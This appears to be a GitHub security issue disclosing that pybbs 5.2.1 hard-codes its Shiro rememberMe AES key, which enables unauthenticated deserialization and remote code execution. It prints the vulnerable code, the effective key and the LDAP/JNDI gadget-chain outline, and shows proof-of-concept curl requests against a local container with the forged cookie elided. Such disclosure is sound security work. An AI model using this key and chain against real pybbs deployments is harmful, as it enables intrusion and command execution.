Skip to content

[Vulnerability] Unauthorized Access due to Hard-coded AES secret #220

Description

@Leeziao

Summary

pybbs hard-codes the Shiro rememberMe AES key in ShiroConfig.java:128. An unauthenticated attacker can forge a rememberMe cookie, let Shiro decrypt and deserialize it before authentication, and reach remote code execution inside the application container.

Details

At src/main/java/co/yiiu/pybbs/config/ShiroConfig.java:97-128 the application enables rememberMe and sets a fixed cipher key derived from the literal string "pybbs is the best!".

// ShiroConfig.java:97
securityManager.setRememberMeManager(rememberMeManager());

// ShiroConfig.java:123-128
@Bean
public CookieRememberMeManager rememberMeManager() {
    CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
    cookieRememberMeManager.setCookie(rememberMeCookie());
    // hard-coded AES key (public in source)
    cookieRememberMeManager.setCipherKey(Base64.encode("pybbs is the best!".getBytes()));
    return cookieRememberMeManager;
}

setCipherKey uses the raw bytes, so the effective AES-192 key is the Base64 string cHliYnMgaXMgdGhlIGJlc3Qh. Shiro 1.4.0 decrypts and deserializes the rememberMe cookie during subject resolution on every request, before any authc/authz filter. Any endpoint reachable without login, such as IndexController.java:42 (GET /), is sufficient to trigger the chain.

PoC

Deploy with Docker on 127.0.0.1:8108: The exploit cookie is built from the hard-coded key and an array-free JdbcRowSetImpl stage-1 that fetches a CommonsBeanutils1 stage-2 from LDAP.

NORMAL — anonymous request without rememberMe:

curl -i -H "Accept: text/html" "http://127.0.0.1:8108/"

Observed response:

HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=DALGbSUEMycaRrIZ-OcQTqzr5HtJqLLdSxigfdTz; path=/
Content-Type: text/html;charset=UTF-8

VULNERABLE — request with the forged rememberMe cookie:

curl -i -H "Accept: text/html" \
     -H "Cookie: rememberMe=<cookie_green.b64>" \
     "http://127.0.0.1:8108/"

Observed response:

HTTP/1.1 200 OK
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0
Set-Cookie: JSESSIONID=8E88jpaVsE7epokQbww5Hf1xs4CSxXaPyvfKiOTZ; path=/
Content-Type: text/html;charset=UTF-8
Image

After a few seconds the attacker command has run inside the app container:

docker compose -f env/docker-compose.yml -p pybbs-shiro550 exec app cat /tmp/pybbs_shiro550_rce

Observed output:

uid=1001(pybbs) gid=1001(pybbs) groups=1001(pybbs)
PYBBS_SHIRO550_RCE_pybbs
Image

Impact

Any network client that can reach a default pybbs 5.2.1 deployment can execute arbitrary commands as the application user (uid=1001(pybbs) in the verified container). The attack is unauthenticated and works against any endpoint because Shiro resolves rememberMe before the authc filter chain.

On JDK 8u191 and later the pre-auth decryption/deserialization primitive still succeeds, but the JNDI → stage-2 hop requires com.sun.jndi.ldap.object.trustSerialData=true unless a different array-free local gadget is used.

Suggested Fix

Generate a per-deployment random rememberMe cipher key at startup and load it from configuration, instead of hard-coding it in source. Upgrade Shiro and restrict deserialization with an ObjectInputFilter allowlist.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions